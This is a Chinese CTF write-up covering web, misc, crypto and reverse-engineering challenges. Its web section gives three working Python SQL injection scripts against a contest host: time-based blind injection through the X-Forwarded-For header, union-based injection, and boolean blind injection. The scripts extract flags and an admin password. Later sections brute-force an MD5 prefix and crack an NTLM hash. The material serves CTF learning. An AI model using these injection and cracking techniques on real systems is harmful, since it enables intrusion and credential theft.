火种CTF WriteUp
——-By LANVNAL
0X01 Web
#-*-coding:utf-8-*-
import requests
import string
url="http://aim.zhugeaq.com:82/"
payloads=string.lowercase + string.uppercase + string.digits+'{'+'}'
flag=""
for i in range(1,100):
havetry=0
for str in payloads:
headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)}
try:
res=requests.get(url,headers=headers,timeout=7)
except requests.exceptions.ReadTimeout, e:
havetry=1
flag = flag + str
print "flag:", flag
break
if havetry==0:
break
print 'flag:' + flag
# -*- coding: utf-8 -*-
import requests
url = 'http://aim.zhugeaq.com:83/'
def check(payload):
postdata = {'username':'1','password':payload}
r = requests.post(url, postdata).content
return 'admin_r' in r
password = 'flag{9'
s = r'0123456789:abcdefg|~'
for t in xrange(33):
for i in s:
payload = '1\' or 1 union select 1,2,\'%s\' order by 3#' % (password+i)
if check(payload):
password = password + chr(ord(i)-1)
print password
break
# -*- coding: utf-8 -*-
import requests
url = 'http://aim.zhugeaq.com:85/01/login.php'
def check(payload):
postdata = {'username':payload,'pass':'xx'}
r = requests.post(url, postdata).content
return '密码错误' in r
password = ''
s = r'0123456789abcdef'
for i in xrange(32,0,-1):
for c in s:
payload = '\'=(mid((select(pass)from(admin))from(%d))=\'%s\')=\'0' % (i, (c+password))
if check(payload):
password = c + password
break
print password
MISC
对应字母替换,根据第一行替换得出的字母表就能看出这是rot13,直接对应rot13的脚本得出flag。
#jrecbi]gyu8
e.u pry(owRuuo.yQ)S
e.u {pry(jd)S
ypfS
aoj ] rpe(jd)
.qj.lyS
p.ygpb jd
cu (aoj V 96) abe (aoj W 123)S
p.ygpb jdp((aoj[97}Ruuo.yQ)v{{mre{{(26) } 97)
.ncu (aoj V 64) abe (aoj V 91)S
p.ygpb jdp((aoj[65}Ruuo.yQ)v{{mre{{(26) } 65)
.no.S
p.ygpb jd
p.ygpb --vhrcb(/{pry( j ) urp j cb o=)
lpcby pry( -qpn?popbpo.+-w 13 )
////////////////////////////
key{efeaefr}
////////////////////////////
# -*- coding: utf-8 -*- <--------入手点
def rot(s,OffsetX):
def _rot(ch):
try:
asc = ord(ch)
except:
return ch
if (asc > 96) and (asc < 123):
return chr((asc-97+OffsetX).__mod__(26) + 97)
elif (asc > 64) and (asc < 91):
return chr((asc-65+OffsetX).__mod__(26) + 65)
else:
return ch
return ''.join([_rot( c ) for c in s])
Crypto
\u606d\u559c\u60a8\uff01\u006b\u0065\u0079\u007b\u0074\u0068\u0065\u0020\u0066\u0069\u0072\u0073\u0074\u0020\u006b\u0065\u0079\u007d
在线转换即可。(http://www.msxindl.com/tools/unicode16.asp)
Tk5TWFM2M0pPTlJXR1kzR09KVEdPNURCTVZUR0NaM1NOQjJIMj09PQ==
Base64+32解密
我来,我见,我征服 e6Z9i
]8RUQHE{RnY{QXgQnQ{^XVlRXlp^XI5Q6Q6SKY8jUAA
脚本跑出来base64,再解base64.
二战时盟军截获德军一段密码,密文为:00000100001000001101000001100001010(密钥:large)
异或加密
00000100001000001101000001100001010
然后密钥large,转换成7位的ASCII:11011001100001111001011001111100101
异或操作
0110111001101001011010000110000101101111
ASCII转换成字符:nihao
key{nihao}
http://www.360doc.com/content/15/0222/14/21874787_450053353.shtml
小明入侵网站后获得了管理员的密文,由于太高兴了手一抖把密文删除了一部分,只剩下前10位d9ddd1800f,小明根据社工知道管理员的密码习惯是4位的数字加字母,你能帮小明恢复密码的哈希值吗?(提示:flag为密码的哈希值)
# -*- coding:utf-8 -*-
import hashlib
import string
md5='d9ddd1800f'
s=string.lowercase + string.uppercase + string.digits
for a in s:
for b in s:
for c in s:
for d in s:
st=a+b+c+d
flag=hashlib.md5(st).hexdigest()
if(flag[0:10]==md5[0:10]):
print flag
break
你猜这是什么东西,记得破解后把其中的密码给我。 00031141:Administrator:s1riu5:C6AE3F7D7534AE05AAD3B435B51404EE:65D4F6EC4BE18E14F3665804EF1E9496(答案为非常规形式)
在线解密(http://www.objectif-securite.ch/ophcrack.php)
Re
T君注册了一个软件,用户名为anyuntec,但是走着走着摔了一跤,爬起来一想,注册码给忘了,你能帮助T君找出注册码吗?
IDA反编译后看主要代码,就是要求注册码对于用户名每一位后移8-i(i从0递增)。
import hashlib
par1 = b"Tenshine"
def checkSN(par1):
if par1:
# if par2 and len(par2) == 22:
m2 = hashlib.md5()
m2.update(par1)
par1_md5 = m2.hexdigest()
print(par1_md5)
par1 = toHexString(par1_md5)
print(par1)
what = ""
i = 0
while i < len(par1_md5):
what += par1_md5[i]
i += 2
print("flag{"+ what +"}")
def toHexString(s):
lst = ""
for ch in s:
hv = hex(ord(ch)).replace('0x', '')
if len(hv) == 1:
hv = '0'+hv
lst += hv
return lst
checkSN(par1)
memset(&v1, 0xCCu, 0x194u);
v33 = (unsigned int)&savedregs ^ dword_417000;
v26 = 0;
v4 = 1;
v5 = 4;
v6 = 14;
v7 = 10;
v8 = 5;
v9 = 36;
v10 = 23;
v11 = 42;
v12 = 13;
v13 = 19;
v14 = 28;
v15 = 13;
v16 = 27;
v17 = 39;
v18 = 48;
v19 = 41;
v20 = 42;
v21 = 26;
v22 = 20;
v23 = 59;
v24 = 4;
v25 = 0;
printf("please enter flag:");
sub_411136();
while ( 1 )
{
getch();
v1 = sub_411136();
v27[v26] = v1;
if ( !(_BYTE)v1 || v27[v26] == 13 )
break;
if ( v27[v26] == 8 )
{
printf("\b\b");
sub_411136();
--v26;
}
else
{
printf("%c", v27[v26]);
sub_411136();
++v26;
}
}
v3 = 0;
for ( i = 0; i < 17; ++i )
{
if ( v27[i] != byte_415768[*(&v4 + i)] )
v3 = 1;
}
if ( v28 != 49 || v29 != 48 || v30 != 50 || v31 != 52 || v32 != 125 )
v3 = 1;
v27[v26] = 0;
printf("\r\n");
sub_411136();
if ( v3 )
{
printf("wrong\n");
sub_411136();
sub_41113B();
}
else
{
printf("success\n");
sub_411136();
}
system("pause");
sub_411136();
sub_411082(&savedregs, &dword_411678);
sub_411014(v1);
return sub_411136();
}
语句
byte_415768[(&v4 + i)]
中&v4表示取变量v4的地址,i从0变到17,那么byte_41576[]中的序号依次为v4,v5,v6,….v21,共17个变量的值,即v4 = 1,v5 = 4,v6 = 14,v7 = 10,v8 = 5,v9 = 36,v10 = 23,v11 = 42, v12 = 13,v13 = 19,v14 = 28,v15 = 13,v16 = 27,v17 = 39,v18 = 48,v19 = 41,v20 = 42,v21 = 26这些。
v=''
s='KfxEeft}f{gyrYgthtyhifsjei53UUrrr_t2cdsef66246087138\0087138'
a=(1,4,14,10,5,36,23,42,13,19,28,13,27,39,48,41,42)
for i in range(0,17):
v=v+s[a[i]-1:a[i]]
print v